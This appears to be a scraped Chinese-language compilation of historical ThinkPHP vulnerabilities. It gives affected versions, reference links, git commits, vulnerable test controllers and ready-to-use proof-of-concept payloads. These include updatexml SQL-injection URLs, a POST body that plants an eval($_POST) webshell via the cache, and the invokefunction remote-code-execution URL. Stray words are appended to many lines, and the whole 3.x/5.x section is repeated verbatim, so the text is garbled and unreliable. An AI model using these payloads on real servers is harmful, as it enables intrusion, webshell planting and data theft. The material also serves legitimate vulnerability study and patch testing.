thinkphp歷史漏洞

https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 歷史漏洞php

路由控制類RCE
/think/App.phphtml

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

 

 

變量覆蓋RCE
/think/Request.phpgit

if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);

 


SQL:
1.
漏洞影響版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。github

$username = request()->get('username/a');
db('users')->insert(['username' => $username]);

 


2.
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。sql

$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';

 


3.
ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)。ThinkPHP5全版本 。thinkphp

$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success

 

';shell


4.。漏洞影響版本: ThinkPHP=5.0.10 。緩存

漏洞環境php框架

$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);

 


5.app

漏洞影響版本: 5.1.16<=ThinkPHP5<=5.1.22 。

$orderby = request()->get('orderby'); $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();

 

6.
漏洞影響版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);

 


 

 

文件包含
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。

public function index()
{
  $this->assign(request()->get());
  return $this->fetch();

 

 

1、3.x

使用方法

cd /var/www/tp3

ThinkPHP3.2.3_緩存函數設計缺陷可致使Getshell

標題 ThinkPHP5.0.10-3.2.3緩存函數設計缺陷可致使Getshell
時間 2017-08-09
版本 <= 3.2.3
文章連接 https://xz.aliyun.com/t/99

ThinkPHP3.2.3_最新版update注入漏洞

標題 Thinkphp3.2.3最新版update注入漏洞
時間 2018-04-16
版本 <= 3.2.3
文章連接 https://www.anquanke.com/post/id/104847

ThinkPHP3.2.X_find_select_delete注入

標題 thinkphp3.2 find_select_delete注入
時間 2018-08-23
版本 <= 3.2.3
文章連接 https://xz.aliyun.com/t/2631
https://xz.aliyun.com/t/2629

ThinkPHP3.X_order_by注入漏洞

標題 ThinkPHP 3.X/5.X order by注入漏洞
時間 2018-08-29
版本 <= 3.2.3
文章連接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

2、5.x

使用方法

cd /var/www/tp5

ThinkPHP5_SQL注入漏洞&&敏感信息泄露

標題 ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
時間 2017-07-03
版本 < 5.0.9
文章連接 https://xz.aliyun.com/t/125 
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

測試方法

git checkout 02f8e8a

測試代碼

public  function testsql()
{
  $ids = input('ids/a');
  $result = db('user')->where('id', 'in', $ids)->select();
  var_dump($result);
}

POC

testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

結果

20170703.png

ThinkPHP5.0.10-3.2.3_緩存函數設計缺陷可致使Getshell

標題 ThinkPHP5.0.10-3.2.3 緩存函數設計缺陷可致使Getshell
時間 2017-08-09
版本 < 5.0.11
文章連接 https://xz.aliyun.com/t/99

測試方法

git checkout 094dde5

測試代碼

public function add()
{
   $user = input('post.');
   $m=db('user')->where(['id'=> 1])->insert($user);
}

public function cache()
{
   $m = db('user')->select();
   Cache::set('name',$m,3600);
}

POC

post data:
   username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
注:%2F%2F%0D%0A = //+回車

結果

img

img

img

其中文件路徑和名稱是 b0+68931cc450442b63f5b3d276ea4297 而

md5('name') = b068931cc450442b63f5b3d276ea4297

ThinkPHP框架5.0.X_sql注入漏洞分析

標題 ThinkPHP框架 5.0.x sql注入漏洞分析
時間 2018-04-09
版本 < 5.0.16
文章連接 https://xz.aliyun.com/t/2257

測試方法

git checkout 7c13757

測試代碼

public  function testsql()
   {
       $username = input('get.username/a');
       db('user')->where(['id'=> 1])->insert(['username'=>$username]);
   }

POC

testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

結果

img

ThinkPHP5.X_order_by注入漏洞

標題 ThinkPHP 3.X/5.X order by注入漏洞
時間 2018-08-23
版本 <= 5.1.22
文章連接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

測試方法

git checkout 35e9878

測試代碼

public  function testsql()
{
  $order = input('get.order');
  $m = db('user')->order($order)->find();
  var_dump($m);
}

POC

testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

結果

img

ThinkPHP5.X_遠程代碼執行

標題 ThinkPHP5.X 遠程代碼執行
時間 2018-12-10
版本 5.0.5-5.0.22
5.1.0-5.1.30
文章連接 https://xz.aliyun.com/t/3570
https://paper.seebug.org/760/
https://paper.seebug.org/770

測試方法

git checkout 4fefa5e

測試代碼

public  function index()
   {
       //...無需實際代碼
    }

POC

index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

結果

img

 

1、3.x

使用方法

cd /var/www/tp3

ThinkPHP3.2.3_緩存函數設計缺陷可致使Getshell

標題 ThinkPHP5.0.10-3.2.3緩存函數設計缺陷可致使Getshell
時間 2017-08-09
版本 <= 3.2.3
文章連接 https://xz.aliyun.com/t/99

ThinkPHP3.2.3_最新版update注入漏洞

標題 Thinkphp3.2.3最新版update注入漏洞
時間 2018-04-16
版本 <= 3.2.3
文章連接 https://www.anquanke.com/post/id/104847

ThinkPHP3.2.X_find_select_delete注入

標題 thinkphp3.2 find_select_delete注入
時間 2018-08-23
版本 <= 3.2.3
文章連接 https://xz.aliyun.com/t/2631
https://xz.aliyun.com/t/2629

ThinkPHP3.X_order_by注入漏洞

標題 ThinkPHP 3.X/5.X order by注入漏洞
時間 2018-08-29
版本 <= 3.2.3
文章連接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

2、5.x

使用方法

cd /var/www/tp5

ThinkPHP5_SQL注入漏洞&&敏感信息泄露

標題 ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
時間 2017-07-03
版本 < 5.0.9
文章連接 https://xz.aliyun.com/t/125 
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

測試方法

git checkout 02f8e8a

測試代碼

public  function testsql()
{
  $ids = input('ids/a');
  $result = db('user')->where('id', 'in', $ids)->select();
  var_dump($result);
}

POC

testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

結果

20170703.png

ThinkPHP5.0.10-3.2.3_緩存函數設計缺陷可致使Getshell

標題 ThinkPHP5.0.10-3.2.3 緩存函數設計缺陷可致使Getshell
時間 2017-08-09
版本 < 5.0.11
文章連接 https://xz.aliyun.com/t/99

測試方法

git checkout 094dde5

測試代碼

public function add()
{
   $user = input('post.');
   $m=db('user')->where(['id'=> 1])->insert($user);
}

public function cache()
{
   $m = db('user')->select();
   Cache::set('name',$m,3600);
}

POC

post data:
   username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
注:%2F%2F%0D%0A = //+回車

結果

img

img

img

其中文件路徑和名稱是 b0+68931cc450442b63f5b3d276ea4297 而

md5('name') = b068931cc450442b63f5b3d276ea4297

ThinkPHP框架5.0.X_sql注入漏洞分析

標題 ThinkPHP框架 5.0.x sql注入漏洞分析
時間 2018-04-09
版本 < 5.0.16
文章連接 https://xz.aliyun.com/t/2257

測試方法

git checkout 7c13757

測試代碼

public  function testsql()
   {
       $username = input('get.username/a');
       db('user')->where(['id'=> 1])->insert(['username'=>$username]);
   }

POC

testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

結果

img

ThinkPHP5.X_order_by注入漏洞

標題 ThinkPHP 3.X/5.X order by注入漏洞
時間 2018-08-23
版本 <= 5.1.22
文章連接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

測試方法

git checkout 35e9878

測試代碼

public  function testsql()
{
  $order = input('get.order');
  $m = db('user')->order($order)->find();
  var_dump($m);
}

POC

testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

結果

img

ThinkPHP5.X_遠程代碼執行

標題 ThinkPHP5.X 遠程代碼執行
時間 2018-12-10
版本 5.0.5-5.0.22
5.1.0-5.1.30
文章連接 https://xz.aliyun.com/t/3570
https://paper.seebug.org/760/
https://paper.seebug.org/770

測試方法

git checkout 4fefa5e

測試代碼

public  function index()
   {
       //...無需實際代碼
    }

POC

index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

結果

img

相關文章
相關標籤/搜索